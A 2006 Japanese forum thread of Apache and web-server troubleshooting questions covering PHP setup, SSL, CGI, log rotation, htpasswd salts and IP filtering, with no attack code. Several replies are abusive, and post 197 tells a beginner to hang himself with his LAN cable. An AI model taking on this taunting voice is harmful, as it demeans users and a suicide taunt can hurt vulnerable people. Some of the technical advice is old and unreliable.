あげ
119DNS未登録さん:2006/10/12(木) 00:04:24 ID:1uh+eB9S
>>117
なりすましってのが普通にIPスプーフィングなら
送信元IPアドレスを書き換えてるのだから不正パケットを送る事は出来てもコンテンツを受信する事は出来ない。
記事がいいかげんなだけだと思うが、漏れが勘違いしてるのならスマン。
120DNS未登録さん:2006/10/12(木) 00:16:36 ID:???
>>119
やっぱ記事がいい加減なだよなぁ

ついでにTCPは3Way方式だから、IPスプーフィングしたとしても
不正なアクセスとして拒否されるだけかと
121DNS未登録さん:2006/10/12(木) 09:18:00 ID:???
>>120
「(受け取った側が)不正なアクセスとして拒否」するんではなくて、SYNパケットに
記載された発信元アドレスにSYN+ACKが送り返された結果、その発信元から「そんな
SYNは発信してないから知らん」とRSTが返ってくるか、そもそもそのアドレスには
誰もいないのでACKが返ってこずそのまま放置されるかの二択だな。

IPアドレスの偽装ができるのはTCPのようなハンドシェイク型ではないプロトコルで、
かつパケットを一方的に送りつけるだけの場合のみ。アプリケーションレイヤでは
DNSなど。
122120:2006/10/12(木) 17:30:02 ID:???
>>121
なるほど
勉強になった
ありがとうー
123DNS未登録さん:2006/11/09(木) 23:40:12 ID:nVYLLfWR
教えて君で申し訳ありません。
Apache2.xでの話なのだけど・・・
エイリアスを作ったのはいいんだけど
URLで大文字小文字を区別するんだよね。エイリアス。
ここを区別なしにする設定の書き方って
どなたかご存知ですか?
今日一日ぐぐったんだけど、見つからない・・・
MOD_SPELING もエイリアスの定義では使えないようだし・・・
正規表現もどうやるのか。
まさか文字の組み合わせを全部エイリアスに定義するとか言うのは('д`)なんですが。
124DNS未登録さん:2006/11/10(金) 15:02:41 ID:???
元々大文字小文字を区別するファイルシステムでも使ってる以上しょうがないんじゃ
rewrite 使って正規表現でやれば近いことはできる
125DNS未登録さん:2006/11/10(金) 18:41:19 ID:???
>124
ありがとうございます。
ファイルシステムはWindowsです。(IISはあえて使いません)
何かサンプルになるようなrewriteのコードをご紹介いただけますでしょうか。
126DNS未登録さん:2006/11/17(金) 02:11:18 ID:goeqfrh6
ずばり、HTMLの表示レスポンスを高速化するには
どうしたらいいですか?
127DNS未登録さん:2006/11/17(金) 02:36:32 ID:???
ずばり、マシンごと買い換える
128DNS未登録さん:2006/11/17(金) 09:07:46 ID:???
できもしないのにできるとか
えらそうな無能がいませんか
129DNS未登録さん:2006/11/17(金) 10:09:08 ID:???
お、新レスあるまで気がつかなかったべや
つーか、mod_rewrite と正規表現でググればいくらでもでてくるべや
130DNS未登録さん:2006/11/17(金) 12:26:34 ID:???
この様な状況で
__WW___W_W__W____W__W__WWWWW__W_W___W_W__W_W__WW__W_________WW_W
_W____W_WW_WW__W____W________W_W_W_WW___W__W____W_W_____W___WW__
_________WW.....................................................
Waiting for Connectionが異常に多いのですが
解消法はありますか?

お願いします。
131DNS未登録さん:2006/11/17(金) 14:35:11 ID:???
    _, ._
  ( ・ω・)    あんまり生やすなよ
  ○={=}〇,
   |:::::::::\, ', ´
.wwし w`(.@)wwww wwwwwwwwwwww

132DNS未登録さん:2006/11/17(金) 20:26:24 ID:???
>>130
> Waiting for Connectionが異常に多いのですが

それが何か問題でも?
っていうか、"Waiting for Connection"って英語の意味を理解しているかい?

理解した上で言っているのなら、MinSpareServersとMaxSpareServersを減らせばいい。
133DNS未登録さん:2006/11/19(日) 04:53:47 ID:???
PS3にLinux入れてApache動かしたツワモノはいないのか?
134DNS未登録さん:2006/11/19(日) 10:38:23 ID:???
>>133
強者も何も、ただのPPC-Linuxだから動かすのは簡単だろう。
135DNS未登録さん:2006/11/19(日) 20:38:15 ID:???
PS3買えませんでした><
どうせ半額未満で投げ売るようになるだろうからその時買います><
136DNS未登録さん:2006/11/21(火) 15:42:37 ID:cM0/7zfB
Apache2でSSLを動かそうとしているんですが、コンパイルした後、うまく動いてくれません。

apachectrl startssl
を実行すると一見動いたように見えて動いてくれません。

apachectrl start
という感じでSSL無効なら問題なく動きます。

画面にはメッセージ等何も出ないので何が起こってるのかわからない状況です。
137DNS未登録さん:2006/11/21(火) 16:03:15 ID:???
エラーログくらい見ようよ
138DNS未登録さん:2006/11/21(火) 16:17:32 ID:???
>>137

エラーログって/var/log/messagesのことでいいですか?
ここには何のログも残っていないです。
139DNS未登録さん:2006/11/21(火) 16:23:59 ID:???
エラーログにもたどり着けないような人は(ry
140DNS未登録さん:2006/11/21(火) 16:26:50 ID:???
ぁ、error_logの方ですね。
あとは自分でできそうです、ありがとうございました。
141DNS未登録さん:2006/11/22(水) 23:34:25 ID:4DkYGDps
Apache2.2.3Win版をインスト直後のhttpd.confって480行しかないんだけど、昔のVerより少なくね?
142DNS未登録さん:2006/11/22(水) 23:40:08 ID:???
よく見るとなんか設定ファイルの数増えてなくね?
143DNS未登録さん:2006/11/23(木) 01:40:00 ID:rCMSlT5r
質問させていただきます。(Linux, apache2.2.3)
apache2.2.3のソースツリーを設定する際
./configure --prefix=/opt/apache2 としてコンパイル、インストールしました。

その後prefix=/apache2に移動させようと思い
/opt/apache2以下全てのファイルを削除した後、
もう一度./configure --prefix=/apache2 --enable=so
としてmake, make installしたところmake installの最後に下記のエラーが出てます。

libtool: install: error: cannot install `libaprutil-1.la' to a directory not ending in /opt/apache2/lib

/apache2以下にはbin, build, include, libのみが作られconf, etc等がありません。
prefixを変更したのが原因なのでしょうか?
144DNS未登録さん:2006/11/23(木) 01:42:04 ID:rCMSlT5r
質問させていただきます。(Linux, apache2.2.3)
apache2.2.3のソースツリーを設定する際
./configure --prefix=/opt/apache2 としてコンパイル、インストールしました。

その後prefix=/apache2に移動させようと思い
/opt/apache2以下全てのファイルを削除した後、もう一度./configure --prefix=/apache2 --enable=so
としてmake, make installしたところmake installの最後に下記のエラーが出てます。

libtool: install: error: cannot install `libaprutil-1.la' to a directory not ending in /opt/apache2/lib

/apache2以下にはbin, build, include, libのみが作られconf, etc等がありません。
prefixを変更したのが原因なのでしょうか?
145143:2006/11/23(木) 01:42:49 ID:rCMSlT5r
二重投稿してしまいました。申し訳ありません。
146DNS未登録さん:2006/11/23(木) 02:04:08 ID:???
make clean
147DNS未登録さん:2006/11/23(木) 09:53:01 ID:???
あは〜ん
148143:2006/11/23(木) 10:14:42 ID:rCMSlT5r
>>146
解決しました!
ありがとうございました。
149DNS未登録さん:2006/11/23(木) 10:37:59 ID:???
Apache James(AVALON)について質問させてください。
Derbyをプログラムの中で使いたいのですが、AVALONのコネクションプーリングを
利用しようとしても、
クラスキャスト例外が発生して使用できません。
config.xmlの中身を
<data-source name="db"class="org.apache.james.util.dbcp.JdbcDataSource">
<driver>org.apache.derby.jdbc.ClientDriver</driver>
<dburl>jdbc:derby://localhost:1527/DB</dburl>
<user>foo</user>
<password>hoge</password>
<max>20</max>
</data-source>
とし、プログラム内で
String ds = getInitParameter( "datasource" );
try {
※ComponentManager mgr =(ComponentManager)getMailetContext().getAttribute(Constants.AVALON_COMPONENT_MANAGER);
DataSourceSelector selector = (DataSourceSelector)mgr.lookup(DataSourceSelector.ROLE);
datasource = (DataSourceComponent)selector.select( ds );
} catch( Exception e ) {
}
と書くと、※の行で例外が発生します。
対処方法は無いでしょうか?
150DNS未登録さん:2006/11/24(金) 00:12:25 ID:+p6P1iST
Apache/2.2.*系とApache/2.0.*系って、Indexesの表示が若干違う?
2.0.*1系だと<PRE>で一覧吐くけど、今回入れた2.2.*系だと<TABLE>で吐く。
見た目が<PRE>の方が綺麗で好きなんだけど、これって変えれるもん?
151150:2006/11/24(金) 00:42:04 ID:???
mod_autoindexで解決できそうやね。
めんどくさいんで、やりそうにないけど。
152DNS未登録さん:2006/11/24(金) 02:00:25 ID:???
IndexOptionsのHTMLTableってなくなったの?
153150:2006/11/24(金) 03:40:21 ID:???
>>152
あるよ。PREにしたいだけなら、そこを削ればOK。
でももうちと違った表示にしたかったから面倒だなってだけ。
154DNS未登録さん:2006/11/24(金) 12:04:21 ID:???
WindowsMe + Apache + PHPの初期設定に必要な、
httpd.conf、php.iniの書き換えなどについての質問は、
ここのスレでよろしいでしょうか。
155DNS未登録さん:2006/11/24(金) 12:37:39 ID:???
ApacheはMSIで入れるだけ、PHPはWindowsへのインストール方法をそのままやるだけ、
質問することなんてある?
156154:2006/11/24(金) 13:23:48 ID:???
>>155
ありがとうございます。

PHPの講座の所の解説を見てやっていたのですが、
バージョンの違いなどにより、それぞれ少しずつ違っていて、
全部試したんですけどだめでした。

「php Windowsへのインストール方法」でググった所、
別の所が見つかったので、その方法を試して見ます。
157DNS未登録さん:2006/11/24(金) 13:35:56 ID:???
質問させていただきます。

特に設定を変えないで
CGIを実行するには
Apacheのcgi-binフォルダにcgiのファイルをいれて
http://127.0.0.1/cgi-bin/***.cgi
で実行しますよね。

これをどこでもCGIが実行でき、
htmlが普通に表示できるように( xrea等のレンタルサーバーみたいに)
するにはどこをどう変えればよろしいでしょうか?

多少文が変かもしれませんが、よろしければご教授お願いします。
158k ◆WFGp1NZuiw :2006/11/24(金) 13:38:37 ID:???
<Location />
Options ExecCGI
SetHandler cgi-script
</Location>

とか.
159DNS未登録さん:2006/11/24(金) 14:05:30 ID:???
>>158
ありがとうございます。

どこでもCGIは動くようになりましたが
htmlなど他のものが動かなくなっちゃいました。

ですが
Options +ExecCGI
#SetHandler cgi-script
に変えてみたら、望みのとおりうまくいきました。
感謝しております。
160154:2006/11/24(金) 14:46:51 ID:???
>>155
http://www.obi.ne.jp/cat_260cgi.html を見てやってみました。

http://www.php.net/manual/ja/install.windows.apache2.php
の「CGI バイナリの使用」の所で、
「以下の行を Apache 設定ファイル httpd.conf へ追加してください。」
と書いてありますが、どこに追加すればいいか分かりません。

後、これを追加していないせいか、
スタートメニューからApacheを起動すると、
「Cannot load C:/php/php5apache2.dll into server:」
と出て、起動できません。
追加した「LoadModule php5_module "C:/php/php5apache2.dll"」
の記述を消すと、起動できます。
161DNS未登録さん:2006/11/24(金) 15:05:15 ID:???
Cannot load C:/php/php5apache2.dll into server
と出て〜じゃなくて、ちゃんと読め。それが答えだ。
162DNS未登録さん:2006/11/24(金) 15:07:06 ID:???
PHPを使うならApacheはとりあえず2.0.Xを使っとけよ。
163154:2006/11/24(金) 15:28:04 ID:???
ありがとうございます。

>>161
サーバーに積み込めないという事ですよね。
パスは間違っていませんし、別の所が間違っているんでしょうか。

>>162
2.2.3でやっていました。古いのでもやってみます。
164154:2006/11/24(金) 16:28:35 ID:???
古いバージョンのでやったらできました。
教えてくださった皆様、ありがとうございました。
165DNS未登録さん:2006/11/24(金) 19:31:56 ID:???
157です。
度々すみません。
perlで文章を表示等は>>159のやり方でできました。

それで、Kent Webさんの所の掲示板のスクリプトを
試しに動かしてみたところ、書込み時に
Open Errorと出てきます。
他の自作スクリプトでもファイルが開けないみたいです;;

設定を色々弄ってみたのですが変わる見込みはなさそうです。
04WebServerという他のHTTP Serverだと普通に動くので
Perlの設定ミスでは無さそうです。

度々申し訳ないですが
宜しければ助言お願いします
166DNS未登録さん:2006/11/24(金) 22:38:05 ID:pJepZ+8s
>>162,163

2.2.3じゃ動かないか?
167DNS未登録さん:2006/11/25(土) 00:21:04 ID:ALe2kHjJ
Apache2.2.3 PHP5.2(C:\PHP)をWindows2000に入れて動かそうとしています。

Apache単体では問題なく動作しました。その後PHP5.2を入れてhttpd.confを変更すると
Apacheの再起動時に下記のエラーを吐いて動作しません。対処法を教えて下さい

httpd.confに追加した2行
LoadModule php5_module "c:/php/php5apache2.dll"
PHPIniDir "C:/php"

error.logのエラー
[Fri Nov 24 23:26:00 2006] [notice] Apache/2.2.3 (Win32) configured -- resuming normal operations
[Fri Nov 24 23:26:00 2006] [notice] Server built: Jul 27 2006 16:49:49
[Fri Nov 24 23:26:00 2006] [notice] Parent: Created child process 672
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Child process is running
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Acquired the start mutex.
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Starting 250 worker threads.
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Starting thread to listen on port 80.
168DNS未登録さん:2006/11/25(土) 00:25:28 ID:???
エラーって全部noticeじゃねえかよ
英語できないやつは使うな
169k ◆WFGp1NZuiw :2006/11/25(土) 00:26:49 ID:???
>>167
[notice] とあるようにそれはエラーメッセージでは無いですよ.
正常な出力だと思います.
170167:2006/11/25(土) 00:41:12 ID:ALe2kHjJ
php5apache2_2.dllを使ったら解決したよ。ありがとう
171DNS未登録さん:2006/11/25(土) 06:37:56 ID:???
だが、Windows版はwarn以上のみを報告しろと設定しても、noticeレベルも
返してくるから困る。
172DNS未登録さん:2006/11/25(土) 14:29:03 ID:qpqWTxc0
Windows版Apacheでaccess.logをローテートしたいんだけど、みんなはどうしてますか?
173DNS未登録さん:2006/11/25(土) 14:40:37 ID:???
rotatelogs.exeが付いてるだろ
174DNS未登録さん:2006/11/25(土) 21:04:42 ID:???
アクセスの度に rotatelogs.exe が呼び出されるような設定にすると、
普通の使用の10倍以上の負荷がかかるから気をつけろよ。
175DNS未登録さん:2006/11/25(土) 22:23:34 ID:+AdVKemG
>>174
kwsk
176DNS未登録さん:2006/11/26(日) 04:07:07 ID:???
>>174
mjkwsk
177174:2006/11/26(日) 04:15:07 ID:???
>>175-176
漏れもいまWinでApache使ってないからしらね
3年ぐらい前にそういう経験があったのは事実

確かどっかのローテート解説サイトに従ってやったら毎回 rotatelogs.exe が呼び出されて
CPU負荷かかりまくりになった
178DNS未登録さん:2006/11/26(日) 09:43:15 ID:???
バッチファイルでやるのはなんか問題あるの?
179DNS未登録さん:2006/11/26(日) 10:06:10 ID:???
リネームするとリネームされた古いファイルに出力を続ける。
それを断ち切るシグナルUSR1は使えるのか?
ってところかな?
一旦サービスを再起動させれば、元の名前でファイルを新たに作るけど、
サービスの再起動は大掛かり過ぎる。
180DNS未登録さん:2006/11/26(日) 10:23:35 ID:???
なるほろ、そういうことね。
181DNS未登録さん:2006/11/26(日) 10:26:18 ID:???
>>177
今も大して変わらんよ。Apache側に原因があるのではなくてWindows側の仕様の問題
だからだ。WindowsはUNIX系のシステムとは違って標準で呼び出すべきライブラリ数が
多くてプロセスを起動する際の負荷が大きいのがその理由。だからこそIEのように
システム的に常駐させたりスタートアップに登録したりするのが多くなるのだが。

>>179
USR1=graceful restartな。
Windowsでも問題なく動くはず。
182DNS未登録さん:2006/11/26(日) 10:34:17 ID:hFswDvB+
webプログラミングの学習をしている者ですがstart tomcatアイコンを
クリックするとjava.net.BindException:address already use...という
メッセージが出て立ち上がりませぬ。
理由と対処法を知っている親切な方がいれば教えてください。
興味からApache/2.0.55と同時に立ち上げたのが不味かった様な気も
するのですが。
183DNS未登録さん:2006/11/26(日) 12:21:45 ID:???
>>182
メッセージそのままだよ。portがぶつかってる。

でも、デフォルトだとアパッチは80でtomcatは8080のはずなんだけどな…
184DNS未登録さん:2006/11/26(日) 14:22:12 ID:???
>>182
skypeとか起動してね?
185DNS未登録さん:2006/11/27(月) 15:48:35 ID:???
JAMESのメーリングリストユーザってプログラム内で追加削除できますか?
186DNS未登録さん:2006/11/27(月) 23:50:35 ID:z13ELL/B
Windows版の2.2.3を使用しています。
cgiを使うのですが、
http://localhost/tet.cgiとサーバー上で指定すると正しくcgiが実行されます
ところが他のPCからhttp://サーバのIP/tet.cgiとするとcgiファイルをダウンロードしようとして保存か実行かと聞いてきます

対象法を伝授して下さい。
187DNS未登録さん:2006/11/28(火) 14:02:11 ID:???
>>149
import org.apache.avalon.framework.component.ComponentManager;
188186:2006/11/28(火) 17:10:50 ID:Ho3gtZtw
クライアントPCの拡張子cgiにテキストエディタを割り当てていたのが原因で関連を削除すると、ブラウザで正常に
cgiが動作しました。
189DNS未登録さん:2006/11/28(火) 18:19:45 ID:Kid/B0nO
.htpasswdにパスワードを設定する際、下記サイトのものとhtpasswd.exeで求めた物が違うのですが、
どこかwebで求める物の他のサイトをご存知ありませんか?

http://www.shiftweb.net/cgi-bin/cryptform.php
190DNS未登録さん:2006/11/28(火) 20:22:46 ID:???
>>189
この手のパスワード暗号化には必ず乱数が入るので
実行するたびに結果が変わるのは当然のこと。
191189:2006/11/28(火) 21:58:28 ID:???
>>190
ありがとう
192DNS未登録さん:2006/11/28(火) 22:00:55 ID:???
CPUの温度とか、そういったものをタネにするやつもあるしな。
193DNS未登録さん:2006/11/28(火) 22:37:11 ID:???
VIA EDENならチップ内のノイズを種に利用できる
194DNS未登録さん:2006/11/28(火) 22:41:22 ID:???
php の セッションIDはデフォルトでは、マイクロ秒単位の現在時刻+ユーザーのリモートアドレス+combined-LCG(線形合同法自体は、疑似乱数生成方法としてはセキュアな方法ではないとされている) が種。
すなわち、セキュアな乱数を種としていない。

http://www.degitalscope.com/~mbspro/userfiles_res/mfprp451/ ←解説と対策

大抵の htpasswd の生産CGIも同じ。

Unix 系のOS なら /dev/urandom を使おう。

http://www.linux.or.jp/JF/JFdocs/Secure-Programs-HOWTO/random-numbers.html
(周囲で発生するノイズ等の攻撃者に推測されない値をデバイスドライバや他の情報源から収集して、乱数の種として使用される。
 特殊なハードウェアが無い普通のPCでも使える。HDDの回転数、CPUの温度、ハードウェアの温度、マウスの動き、HDDの寿命、ハードウェアのエラーセクタ、
 などなどPCには乱数の種として使用できる攻撃者に推測されない値がいっぱいそなわっているのだ。)
195194:2006/11/28(火) 22:49:16 ID:???
上のURLが間違っていました。

http://tdiary.ishinao.net/20061120.html#p01


これが正解です。

申し訳なかった;;
196DNS未登録さん:2006/11/28(火) 22:50:19 ID:???
Apache勉強中です。
とりあえず、WEBサーバー作ろうと思って一通りやってみました。
今、
WinXP SP2にApache2.2、
ファイアーウォールにstgatepersonalfirewall
アンチウイルスにavast!4Home、
それと、Diceを入れた状態です。
CGI,Perlも入れました。

セキュリティ的に次ぎにしなければならないことってなんでしょうか。
ディレクトリの一覧が出ちゃうのとか、自宅サーバ解説ページでは触れてないとこ多いですけど、放っておいてもいいんでしょうか。
197DNS未登録さん:2006/11/28(火) 22:58:36 ID:???
>>196
> セキュリティ的に次ぎにしなければならないこと
そのApacheをアンインストールしてLANケーブルを抜き、
抜いたLANケーブルで首を吊る。
198DNS未登録さん:2006/11/28(火) 23:48:19 ID:???
>196
国内のIP範囲を列挙し、IPフィルタリングでそのIP以外を遮断
199DNS未登録さん:2006/11/29(水) 00:19:41 ID:???
>>198
いい加減にしなさい。
インターネットをなんだと思ってるんだ。

ワームの攻撃によって作成されたログの量が減ったぐらいでセキュアになったと思うな。
そういう奴に限って、セキュリティの基本を無視していたりするんだよね。

日本語を理解できるのは日本人だけじゃないし、(過去に日本によって強制連行された朝鮮人とかも日本語は当然理解できる。)
オーストラリアやアメリカに旅行している時に日本のサイトが使えないのは不便だ。

価値のあるサイトだったら翻訳サイトを通じてでも読みたい人はいるし、海外割り当てIPを拒否したら、Google のクロールにも問題でるよ。

それに、日本にだって公開プロキシサーバや脆弱なサーバは山ほどあるわけだから、ワームによる攻撃が回避できる程度の意味しかない。

まぁ、どうしてもやりたいなら APNIC の DB だけじゃなくて、ARIN のデータベースも使って欲しい。
ftp://ftp.apnic.net/pub/apnic/stats/apnic/delegated-apnic-latest
ftp://ftp.arin.net/pub/stats/arin/delegated-arin-latest

200DNS未登録さん:2006/11/29(水) 00:21:39 ID:???
海外の会社より国内の会社の方が若干対応が早い
何より日本語で対応可能

ただそれだけだ
201DNS未登録さん:2006/11/29(水) 00:26:01 ID:???
>>198
海外からの侵入を防ぐということですか、なるほど。

鷹巣というところのサイトを参考に、今↓
ttp://sakaguch.com/SetCTUfirewalls.html

な感じなのですが、これだけではマズいでしょうか?
202DNS未登録さん:2006/11/29(水) 00:27:53 ID:???
>>199
>価値のあるサイトだったら翻訳サイトを通じてでも読みたい人はいるし、海外割り当てIPを拒否したら、Google のクロールにも問題でるよ。

横から拝見してるだけですが、聞いてるだけで参考になります。
そういう問題もあるんですね。
203DNS未登録さん:2006/11/29(水) 00:30:24 ID:???
ぶっちゃけ、日本 = 安全 という考えが根本的に間違いです。

日本人には危機感が無い人、セキュリティ意識の無い人が多すぎるわけで、
何も考えずに Winny でダウンロードしたEXEをダブルクリックする人がいっぱいいるわけです。

そういう人を踏み台にすることは容易なわけで、http://www.pf-x.net/ なんかは過去に100近いホスト
(全部国内割り当てのIPアドレス) から DDoS 攻撃を受けたことがあるとのこと。

違法ファイルに近似したファイル名にしてWinnyに流すだけで踏み台が山ほど手に入る今日この頃なわけで、
セキュリティを意識するなら、パッチ当てや不要なサービスの無効化、セキュアな方向での設定、セキュリティを意識したコーディング、
IDSの導入などを心がけるべきです。

検索エンジンから無視される、海外にいる人がアクセスできない、などの弊害を理解した上で、
僅かなセキュリティ向上を目的として海外のIP遮断をするなら何もいいませんが。
204DNS未登録さん:2006/11/29(水) 00:30:58 ID:???
日本人のセキュリティ意識は、世界でも最低レベルだからなw

平和ぼけした厨がおおすぎw
205DNS未登録さん:2006/11/29(水) 00:35:00 ID:???
>>203
さりげなく宣伝乙^^
206DNS未登録さん:2006/11/29(水) 00:48:53 ID:???
誰が安全って言った?
やりとりが楽だから
ただそれだけだ
207DNS未登録さん:2006/11/29(水) 19:03:31 ID:???
日本語話せる外人さんはアクセス許可するよ。
208DNS未登録さん:2006/12/02(土) 00:12:57 ID:???
apache2.2で
画像ファイルやtxtファイルが
さっぱりブラウザに表示されなくなったのだが、
悪霊でも取り憑いたのでしょうか¥?
209DNS未登録さん:2006/12/02(土) 00:31:26 ID:???
しらねぇよ
210DNS未登録さん:2006/12/02(土) 00:36:35 ID:???
>>208
kwsk
211DNS未登録さん:2006/12/02(土) 02:06:23 ID:rS/XUKjp
質問です。
CentOS4.4に、Apache2.0.59をソースから入れ、workerを使おうとしています。
configure時に何も指定せずにpreforkでのインストールなら、正常にインストールでき、
正常にApacheを稼動できましたが、
>./configure --with-mpm=worker
とすると、configureは正常に完了しますが、makeすると

.
.
.
server/mpm/worker/.libs/libworker.a(pod.o)(.text+0x150):/root/forServer/httpd-2.0.59/server/mpm/worker/pod.c:104: first defined here
/usr/bin/ld: Warning: size of symbol `ap_mpm_pod_killpg' changed from 51 in server/mpm/worker/.libs/libworker.a(pod.o) to 48 in server/.libs/libmain.a(mpm_common.o)
collect2: ld returned 1 exit status
make[1]: *** [httpd] エラー 1
make[1]: Leaving directory `/root/forServer/httpd-2.0.59'
make: *** [all-recursive] エラー 1

となり、途中で終了してしまいます。
原因は何でしょうか?ご教示ください。
212k ◆WFGp1NZuiw :2006/12/02(土) 02:09:54 ID:???
>>211
make clean した?
213DNS未登録さん:2006/12/02(土) 02:18:52 ID:???
>>211
してませんでした。
したら解決し、無事にApacheを起動できました。
ありがとうございました。
214211=213:2006/12/02(土) 02:19:36 ID:???
>>212 さん宛でした。すみません。
215DNS未登録さん:2006/12/02(土) 13:07:05 ID:???
win版Apacheで質問があります

OS:WIN2K SP4
Apache:2.0.53
PHP:5.0.3

ブラウザからPHPスクリプトを動かしてファイルのコピー処理をしようとしています
そのファイルがネットワークドライブ上にある時なんですがファイル情報の取得が出来ずに困っています
調べてみた所
・ネットワークドライブはユーザーで別に管理している
・Apacheとスクリプトは別ユーザーで動いている
との事なのでapacheとクスリプトの実行ユーザーの変更をしてみようとしたのですが
変更方法が見つかりませんでした

実行ユーザーを変える方法かもっと良い方法があれば教えていただけないでしょうか?
216DNS未登録さん:2006/12/02(土) 19:38:26 ID:???
>>215
UNCパスを使う。
217DNS未登録さん:2006/12/03(日) 17:50:07 ID:7LpPjheg
Apache関連 Part9 スレで、板違いと言われたので・・・。
----------------------------------------------------
ローカル環境で、ページを表示すると画像が途中で切れてしまいます。
(表示は出来ますが、途中からおかしくなっています。)

途中で切れるのは、画像だけではないようで、zipをダウンロードすると、
ファイルサイズは正常でも、実際にはファイルが壊れてしまいます。

画像、zip限らず、バイナリデータ?が途中で切断されてるっぽいのです。
pdf,swfも含め、一定サイズ(64KB?)以上の物が正常に表示できません。

同じデータをweb上にアップすると、正常に表示(取得)できます。

Apacheでそのような制限をするような設定があるのでしょうか?

- 環境 -
Win XP Pro SP2
Apache 2.0.58
PHP 5.1.4
218DNS未登録さん:2006/12/03(日) 17:57:55 ID:???
バイナリエディタで先頭部を示してください
219217:2006/12/03(日) 19:34:11 ID:7LpPjheg
JPG画像の先頭からのバイナリです。

FF D8 FF E0 00 10 4A 46-49 46 00 01 01 01 00 48
00 48 00 00 FF DB 00 43-00 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01-01 01 01 01 01 01 01 01
01 01 01 01 01 02 01 01-01 01 01 01 02 02 02 02
02 02 02 02 02 02 02 02-02 02 02 02 02 02 02 02

Temporary Internet Filesの物は違うのかと思い
確認してみましたが、同じでした。

で、Temporary Internet Filesのバイナリと、
元のバイナリを比較してみた所、Temporary Internet Filesの方には、

アドレス:010000から、また先頭と同じバイナリデータがあります。
これがおかしくなっている原因だと思うのですが、なぜこのようになったのか解りません。
220217:2006/12/03(日) 19:38:07 ID:7LpPjheg
連投すいません。
おかしくなるデータは、アドレス:FFFF単位で、
ヘッダ情報と同じバイナリデータが、繰り返されています。
221DNS未登録さん:2006/12/03(日) 20:20:53 ID:???
なんか変なセキュリティソフトが妨害してたりしてな。
222DNS未登録さん:2006/12/03(日) 20:51:38 ID:???
>>217
OSに何か問題があると思われ。
何も考えずに再インストールすればすぐに解決できるだろう。
223217:2006/12/03(日) 21:15:06 ID:???
情報ありがとうございます。
Apacheは、再インストールしてみましたが解決しませんでした。
再インストールは、OSってこと?
224DNS未登録さん:2006/12/03(日) 21:15:29 ID:???
モジュールとかなんかいれた?deflateだか
225DNS未登録さん:2006/12/03(日) 21:48:29 ID:???
>>223
OSのこと。おそらくループバックデバイス(IPv4=127.0.0.1になってるアレ)が
おかしくなってるはず。
226217:2006/12/03(日) 21:58:31 ID:???
>>224
モジュールとかは、何も入れてません。
PHPと、Mysqlを使えるようにしているだけです。
数日前までは問題はなくて、気がつくとおかしくなってました。

>>225
OS再インストか・・・。
出来れば、他に方法があれば助かるんですけど。
227DNS未登録さん:2006/12/03(日) 22:28:29 ID:f82IoZzW
Apache2で容量の壁にぶつかり困っております。
コンパイルオプションに

CFLAGS="-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"

をつけると解決するとの事で早速やってみたのですが、
makefileまでは作れるものの、その後のコンパイルにて
下記のようなエラーが出てしまいます。

/usr/include/sys/sendfile.h:26: #error "<sys/sendfile.h> cannot be used with _FILE_OFFSET_BITS=64"
make[4]: *** [sendrecv.lo] Error 1
make[4]: Leaving directory `/root/httpd-2.0.58/srclib/apr/network_io/unix'
make[3]: *** [all-recursive] Error 1
make[3]: Leaving directory `/root/httpd-2.0.58/srclib/apr/network_io/unix'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/root/httpd-2.0.58/srclib/apr'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/root/httpd-2.0.58/srclib'
make: *** [all-recursive] Error 1

どなたかアドバイスをよろしくお願いいたします。
228DNS未登録さん:2006/12/03(日) 22:31:04 ID:???
>>227
2.2使えよ
229DNS未登録さん:2006/12/03(日) 23:32:54 ID:???
2.2使ったら負けかなって思ってます。
230DNS未登録さん:2006/12/03(日) 23:38:57 ID:???
OSは?
231DNS未登録さん:2006/12/04(月) 00:42:59 ID:???
30分前まで起動していたDerbyなんですが、再起動しようと思ってstartNetworkServer.batを叩いたら
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/derby/drda/NetworkServerControl
と怒られてしまいました。
起動していたderbyも同じbatファイルで起動しています。
なぜでしょうかorz
232k ◆WFGp1NZuiw :2006/12/04(月) 00:49:04 ID:???
>>217
UNIX ならこの辺が原因だとおもうけど...
http://issues.apache.org/bugzilla/show_bug.cgi?id=34332
233217:2006/12/04(月) 02:30:49 ID:???
>>232
情報どうもです。って英語・・・orz
辞書片手にがんばってみます。
234DNS未登録さん:2006/12/04(月) 06:04:42 ID:ybKaMqHo
apache2.2
FedoraCore6
光ファイバー

CPUにもメモリにも負荷がかかってないのに、
WEB閲覧(転送速度)が遅い、というのは何が原因なのでしょうか。

公開してみたはいいものの、めちゃ遅いです。
235DNS未登録さん:2006/12/04(月) 08:11:04 ID:???
>>234
お前の頭が悪すぎるのが原因じゃね?
236DNS未登録さん:2006/12/04(月) 08:31:47 ID:ybKaMqHo
初心者なのは認めます。
237227:2006/12/04(月) 15:17:34 ID:???
>>228
試しに2.2入れてみましたが解決せず…
httpd.confを見たら入れ直すまえと同じ感じだったので、
そこが原因なのでしょうか?

>>230
玄箱純正のmontavistaです。
238DNS未登録さん:2006/12/04(月) 15:27:25 ID:???
-D_LARGEFILE64_SOURCE
じゃね?
239228:2006/12/04(月) 16:04:51 ID:???
2.2は変なオプション無しで2G超えファイル使えるぞ
240k ◆WFGp1NZuiw :2006/12/06(水) 00:48:17 ID:???
>>239
Mkaefile オブションつけてるもんだと思ってたけど,ソース見たかんじたと
ifdef で頑張ってるみたいですね.lighttpd もそうしてくれればいいのに.
241DNS未登録さん:2006/12/06(水) 00:56:32 ID:???
Jamesでメール鯖を立てようかと試みているのですが、
yahooメールやgooメールには届くのに、自分のプロバイダのメールアドレスや自分の携帯メールアドレスにはメールが届きません。
自分の携帯にメールを送れないのはそういうものなのでしょうか?
242DNS未登録さん:2006/12/06(水) 11:03:03 ID:sUUZbg6P
James2.3でOB25pに対応する方法ってどこかにまとまっていないですかね?

ISPの認証を通すのはやぶさかでは無いのですが。
243228:2006/12/06(水) 14:00:10 ID:???
なんでオープンソース業界(ってひとくくりにするのもアレだけど)って
32bitの壁に鈍感なんだろう?
Windowsの世界のほうが対応は早かった。
PHPはいまだに整数は32bitだし・・・。
244DNS未登録さん:2006/12/06(水) 14:05:21 ID:???
必要に感じたやつが自分で変えればいいし、それをフィードバックすれば反映されるだろ
